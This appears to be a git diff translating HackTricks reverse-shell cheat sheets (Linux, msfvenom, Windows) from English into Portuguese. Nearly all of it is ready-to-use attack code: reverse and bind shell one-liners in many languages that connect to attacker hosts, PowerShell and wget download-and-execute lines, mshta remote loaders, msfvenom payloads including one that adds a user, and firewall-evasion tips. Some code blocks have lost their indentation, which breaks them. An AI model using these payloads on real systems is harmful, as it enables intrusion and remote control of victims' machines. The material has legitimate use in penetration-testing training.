+3. **`/dev/tcp//`**: Este é um arquivo especial que **representa uma conexão TCP para o endereço IP e porta especificados**.
+- Ao **redirecionar os fluxos de saída e erro para este arquivo**, o comando efetivamente envia a saída da sessão de shell interativa para a máquina do atacante.
+4. **`0>&1`**: Esta parte do comando **redireciona a entrada padrão (`stdin`) para o mesmo destino que a saída padrão (`stdout`)**.
 
+### Criar em arquivo e executar
 ```bash
 echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
 wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
 ```
-
 ## Forward Shell
 
-When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.
+Ao lidar com uma **vulnerabilidade de Execução Remota de Código (RCE)** em uma aplicação web baseada em Linux, alcançar um reverse shell pode ser obstruído por defesas de rede, como regras do iptables ou mecanismos complexos de filtragem de pacotes. Em tais ambientes restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz.
 
-A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment.
-
-To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows:
+Uma ferramenta recomendada para esse propósito é [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo.
 
+Para utilizar o toboggan de forma eficaz, crie um módulo Python adaptado ao contexto de RCE do seu sistema alvo. Por exemplo, um módulo chamado `nix.py` poderia ser estruturado da seguinte forma:
 ```python3
 import jwt
 import httpx
 
 def execute(command: str, timeout: float = None) -> str:
-    # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
-    token = jwt.encode(
-        {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
-    )
+# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
+token = jwt.encode(
+{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
+)
 
-    response = httpx.get(
-        url="https://vulnerable.io:3200",
-        headers={"Authorization": f"Bearer {token}"},
-        timeout=timeout,
-        # ||BURP||
-        verify=False,
-    )
+response = httpx.get(
+url="https://vulnerable.io:3200",
+headers={"Authorization": f"Bearer {token}"},
+timeout=timeout,
+# ||BURP||
+verify=False,
+)
 
-    # Check if the request was successful
-    response.raise_for_status()
+# Check if the request was successful
+response.raise_for_status()
 
-    return response.text
+return response.text
 ```
-
-And then, you can run:
-
+E então, você pode executar:
 ```shell
 toboggan -m nix.py -i
 ```
+Para aproveitar diretamente um shell interativo. Você pode adicionar `-b` para integração com o Burpsuite e remover o `-i` para um wrapper rce mais básico.
 
-To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper.
+Outra possibilidade consiste em usar a implementação de shell forward do `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
 
-Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
+Você só precisa modificar:
 
-You just need to modify:
+- A URL do host vulnerável
+- O prefixo e sufixo do seu payload (se houver)
+- A forma como o payload é enviado (cabeçalhos? dados? informações extras?)
 
-- The URL of the vulnerable host
-- The prefix and suffix of your payload (if any)
-- The way the payload is sent (headers? data? extra info?)
-
-Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).
+Então, você pode apenas **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (note que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
 
 ## Netcat
-
 ```bash
 nc -e /bin/sh  
 nc   | /bin/sh #Blind
@@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc   >/tmp
 nc  | /bin/bash | nc  
 rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0  1>/tmp/bkpipe
 ```
-
 ## gsocket
 
-Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
-
+Verifique em [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
 ```bash
 bash -c "$(curl -fsSL gsocket.io/x)"
 ```
-
 ## Telnet
-
 ```bash
 telnet   | /bin/sh #Blind
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet   >/tmp/f
 telnet   | /bin/bash | telnet  
 rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0  1>/tmp/bkpipe
 ```
-
 ## Whois
 
-**Attacker**
-
+**Atacante**
 ```bash
 while true; do nc -l ; done
 ```
+Para enviar o comando, escreva-o, pressione enter e pressione CTRL+D (para parar o STDIN)
 
-To send the command write it down, press enter and press CTRL+D (to stop STDIN)
-
-**Victim**
-
+**Vítima**
 ```bash
 export X=Connected; while true; do X=`eval $(whois -h  -p  "Output: $X")`; sleep 1; done
 ```
-
 ## Python
-
 ```bash
 #Linux
 export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
 #IPv6
 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
 ```
-
 ## Perl
-
 ```bash
 perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
 ```
-
 ## Ruby
-
 ```bash
 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
 ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
 ```
-
 ## PHP
-
 ```php
 // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
 // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
 /dev/tcp/10.10.14.8/4444 0>&1'"); ?>
 ```
-
 ## Java
-
 ```bash
 r = Runtime.getRuntime()
 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
 p.waitFor()
 ```
-
 ## Ncat
-
 ```bash
 victim> ncat   --ssl  -c  "bash -i 2>&1"
 attacker> ncat -l  --ssl
 ```
-
 ## Golang
-
 ```bash
 echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
 ```
-
 ## Lua
-
 ```bash
 #Linux
 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
 #Windows & Linux
 lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
 ```
-
 ## NodeJS
-
 ```javascript
 (function(){
-    var net = require("net"),
-        cp = require("child_process"),
-        sh = cp.spawn("/bin/sh", []);
-    var client = new net.Socket();
-    client.connect(8080, "10.17.26.64", function(){
-        client.pipe(sh.stdin);
-        sh.stdout.pipe(client);
-        sh.stderr.pipe(client);
-    });
-    return /a/; // Prevents the Node.js application form crashing
+var net = require("net"),
+cp = require("child_process"),
+sh = cp.spawn("/bin/sh", []);
+var client = new net.Socket();
+client.connect(8080, "10.17.26.64", function(){
+client.pipe(sh.stdin);
+sh.stdout.pipe(client);
+sh.stderr.pipe(client);
+});
+return /a/; // Prevents the Node.js application form crashing
 })();
 
 
@@ -256,19 +219,15 @@ or
 
 https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
 ```
-
 ## OpenSSL
 
-The Attacker (Kali)
-
+O Atacante (Kali)
 ```bash
 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
 openssl s_server -quiet -key key.pem -cert cert.pem -port  #Here you will be able to introduce the commands
 openssl s_server -quiet -key key.pem -cert cert.pem -port  #Here yo will be able to get the response
 ```
-
-The Victim
-
+A Vítima
 ```bash
 #Linux
 openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect :
@@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien
 #Windows
 openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect :
 ```
-
 ## **Socat**
 
 [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
 
-### Bind shell
-
+### Shell de ligação
 ```bash
 victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
 attacker> socat FILE:`tty`,raw,echo=0 TCP::1337
 ```
-
-### Reverse shell
-
+### Shell reversa
 ```bash
 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane
 ```
-
 ## Awk
-
 ```bash
 awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
 ```
-
 ## Finger
 
-**Attacker**
-
+**Atacante**
 ```bash
 while true; do nc -l 79; done
 ```
+Para enviar o comando, escreva-o, pressione enter e pressione CTRL+D (para parar o STDIN)
 
-To send the command write it down, press enter and press CTRL+D (to stop STDIN)
-
-**Victim**
-
+**Vítima**
 ```bash
 export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done
 
 export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
 ```
-
 ## Gawk
-
 ```bash
 #!/usr/bin/gawk -f
 
 BEGIN {
-        Port    =       8080
-        Prompt  =       "bkd> "
+Port    =       8080
+Prompt  =       "bkd> "
 
-        Service = "/inet/tcp/" Port "/0/0"
-        while (1) {
-                do {
-                        printf Prompt |& Service
-                        Service |& getline cmd
-                        if (cmd) {
-                                while ((cmd |& getline) > 0)
-                                        print $0 |& Service
-                                close(cmd)
-                        }
-                } while (cmd != "exit")
-                close(Service)
-        }
+Service = "/inet/tcp/" Port "/0/0"
+while (1) {
+do {
+printf Prompt |& Service
+Service |& getline cmd
+if (cmd) {
+while ((cmd |& getline) > 0)
+print $0 |& Service
+close(cmd)
+}
+} while (cmd != "exit")
+close(Service)
+}
 }
 ```
-
 ## Xterm
 
-This will try to connect to your system at port 6001:
-
+Isso tentará se conectar ao seu sistema na porta 6001:
 ```bash
 xterm -display 10.0.0.1:1
 ```
-
-To catch the reverse shell you can use (which will listen in port 6001):
-
+Para capturar o reverse shell, você pode usar (que irá escutar na porta 6001):
 ```bash
 # Authorize host
 xhost +targetip
 # Listen
 Xnest :1
 ```
-
 ## Groovy
 
-by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy
-
+por [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: O reverse shell Java também funciona para Groovy
 ```bash
 String host="localhost";
 int port=8044;
 String cmd="cmd.exe";
 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
 ```
-
-## References
+## Referências
 
 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
 - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md
index 49444f77b..f67ba8530 100644
--- a/src/generic-hacking/reverse-shells/msfvenom.md
+++ b/src/generic-hacking/reverse-shells/msfvenom.md
@@ -2,38 +2,20 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
-
-**Hacking Insights**\
-Engage with content that delves into the thrill and challenges of hacking
-
-**Real-Time Hack News**\
-Keep up-to-date with fast-paced hacking world through real-time news and insights
-
-**Latest Announcements**\
-Stay informed with the newest bug bounties launching and crucial platform updates
-
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
-
 ---
 
-## Basic msfvenom
+## msfvenom Básico
 
 `msfvenom -p  -e  -f  -i  LHOST=`
 
-One can also use the `-a` to specify the architecture or the `--platform`
-
-## Listing
+Também é possível usar o `-a` para especificar a arquitetura ou o `--platform`
 
+## Listando
 ```bash
 msfvenom -l payloads #Payloads
 msfvenom -l encoders #Encoders
 ```
-
-## Common params when creating a shellcode
-
+## Parâmetros comuns ao criar um shellcode
 ```bash
 -b "\x00\x0a\x0d"
 -f c
@@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders
 EXITFUNC=thread
 PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
 ```
-
 ## **Windows**
 
-### **Reverse Shell**
-
+### **Shell Reversa**
 ```bash
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
 ```
-
-### Bind Shell
-
+### Shell de Bind
 ```bash
 msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
 ```
-
-### Create User
-
+### Criar Usuário
 ```bash
 msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
 ```
-
 ### CMD Shell
-
 ```bash
 msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
 ```
-
-### **Execute Command**
-
+### **Executar Comando**
 ```bash
 msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
 msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
 ```
-
-### Encoder
-
+### Codificador
 ```bash
 msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
 ```
-
-### Embedded inside executable
-
+### Embutido dentro do executável
 ```bash
 msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
 ```
+## Payloads Linux
 
-## Linux Payloads
-
-### Reverse Shell
-
+### Shell Reversa
 ```bash
 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
 msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
 ```
-
-### Bind Shell
-
+### Shell de Bind
 ```bash
 msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
 ```
-
 ### SunOS (Solaris)
-
 ```bash
 msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
 ```
+## **Payloads MAC**
 
-## **MAC Payloads**
-
-### **Reverse Shell:**
-
+### **Shell Reversa:**
 ```bash
 msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
 ```
-
 ### **Bind Shell**
-
 ```bash
 msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
 ```
-
-## **Web Based Payloads**
+## **Payloads Baseados na Web**
 
 ### **PHP**
 
-#### Reverse shel**l**
-
+#### Shell reverso
 ```bash
 msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
 cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
 ```
-
 ### ASP/x
 
-#### Reverse shell
-
+#### Shell reversa
 ```bash
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
 ```
-
 ### JSP
 
-#### Reverse shell
-
+#### Shell reversa
 ```bash
 msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
 ```
-
 ### WAR
 
-#### Reverse Shell
-
+#### Shell Reversa
 ```bash
 msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
 ```
-
 ### NodeJS
-
 ```bash
 msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
 ```
-
-## **Script Language payloads**
+## **Payloads de Linguagem de Script**
 
 ### **Perl**
-
 ```bash
 msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
 ```
-
 ### **Python**
-
 ```bash
 msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
 ```
-
 ### **Bash**
-
 ```bash
 msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
 ```
-
-

-
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
-
-**Hacking Insights**\
-Engage with content that delves into the thrill and challenges of hacking
-
-**Real-Time Hack News**\
-Keep up-to-date with fast-paced hacking world through real-time news and insights
-
-**Latest Announcements**\
-Stay informed with the newest bug bounties launching and crucial platform updates
-
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
-
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md
index 4bf4f6792..22cbe89c5 100644
--- a/src/generic-hacking/reverse-shells/windows.md
+++ b/src/generic-hacking/reverse-shells/windows.md
@@ -4,37 +4,30 @@
 
 ## Lolbas
 
-The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\
-Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.**
+A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para Linux.\
+Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (mal)usados para realizar algum tipo de ações inesperadas, como **executar código arbitrário.**
 
 ## NC
-
 ```bash
 nc.exe -e cmd.exe  
 ```
-
 ## NCAT
 
-victim
-
+vítima
 ```
 ncat.exe    -e "cmd.exe /c (cmd.exe  2>&1)"
 #Encryption to bypass firewall
 ncat.exe   --ssl -e "cmd.exe /c (cmd.exe  2>&1)"
 ```
-
-attacker
-
+atacante
 ```
 ncat -l 
 #Encryption to bypass firewall
 ncat -l  --ssl
 ```
-
 ## SBD
 
-**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat.
-
+**[sbd](https://www.kali.org/tools/sbd/) é uma alternativa portátil e segura ao Netcat**. Funciona em sistemas semelhantes ao Unix e Win32. Com recursos como criptografia forte, execução de programas, portas de origem personalizáveis e reconexão contínua, o sbd oferece uma solução versátil para comunicação TCP/IP. Para usuários do Windows, a versão sbd.exe da distribuição Kali Linux pode ser usada como um substituto confiável para o Netcat.
 ```bash
 # Victims machine
 sbd -l -p 4444 -e bash -v -n
@@ -46,46 +39,34 @@ sbd 10.10.10.10 4444
 id
 uid=0(root) gid=0(root) groups=0(root)
 ```
-
 ## Python
-
 ```bash
 #Windows
 C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
 ```
-
 ## Perl
-
 ```bash
 perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
 ```
-
 ## Ruby
-
 ```bash
 #Windows
 ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
 ```
-
 ## Lua
-
 ```bash
 lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
 ```
-
 ## OpenSSH
 
-Attacker (Kali)
-
+Atacante (Kali)
 ```bash
 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
 openssl s_server -quiet -key key.pem -cert cert.pem -port  #Here you will be able to introduce the commands
 openssl s_server -quiet -key key.pem -cert cert.pem -port  #Here yo will be able to get the response
 ```
-
-Victim
-
+Vítima
 ```bash
 #Linux
 openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect :
@@ -93,38 +74,30 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien
 #Windows
 openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect :
 ```
-
 ## Powershell
-
 ```bash
 powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
 powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
 Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
 echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
 ```
-
-Process performing network call: **powershell.exe**\
-Payload written on disk: **NO** (_at least nowhere I could find using procmon !_)
-
+Processo realizando chamada de rede: **powershell.exe**\
+Payload escrito no disco: **NÃO** (_pelo menos em nenhum lugar que eu consegui encontrar usando procmon!_)
 ```bash
 powershell -exec bypass -f \\webdavserver\folder\payload.ps1
 ```
+Processo realizando chamada de rede: **svchost.exe**\
+Carga útil escrita no disco: **Cache local do cliente WebDAV**
 
-Process performing network call: **svchost.exe**\
-Payload written on disk: **WebDAV client local cache**
-
-**One liner:**
-
+**Uma linha:**
 ```bash
 $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 ```
-
-**Get more info about different Powershell Shells at the end of this document**
+**Obtenha mais informações sobre diferentes Shells do Powershell no final deste documento**
 
 ## Mshta
 
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
-
+- [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
 ```bash
 mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
 ```
@@ -136,26 +109,22 @@ mshta http://webserver/payload.hta
 ```bash
 mshta \\webdavserver\folder\payload.hta
 ```
-
-#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)**
-
+#### **Exemplo de shell reversa hta-psh (use hta para baixar e executar o backdoor PS)**
 ```xml
- 
+
 ```
+**Você pode baixar e executar muito facilmente um zumbi Koadic usando o stager hta**
 
-**You can download & execute very easily a Koadic zombie using the stager hta**
-
-#### hta example
-
-[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
+#### exemplo de hta
 
+[**Daqui**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
 ```xml
 
 
 
 
 
 
@@ -163,11 +132,9 @@ mshta \\webdavserver\folder\payload.hta
 
 
 ```
-
 #### **mshta - sct**
 
-[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
-
+[**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
 ```xml
 
 
@@ -178,14 +145,12 @@ mshta \\webdavserver\folder\payload.hta
 
 
 
 ```
-
 #### **Mshta - Metasploit**
-
 ```bash
 use exploit/windows/misc/hta_server
 msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
@@ -196,15 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
 ```bash
 Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
 ```
-
-**Detected by defender**
+**Detectado pelo defensor**
 
 ## **Rundll32**
 
-[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
-
-- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
+[**Exemplo de dll hello world**](https://github.com/carterjones/hello-world-dll)
 
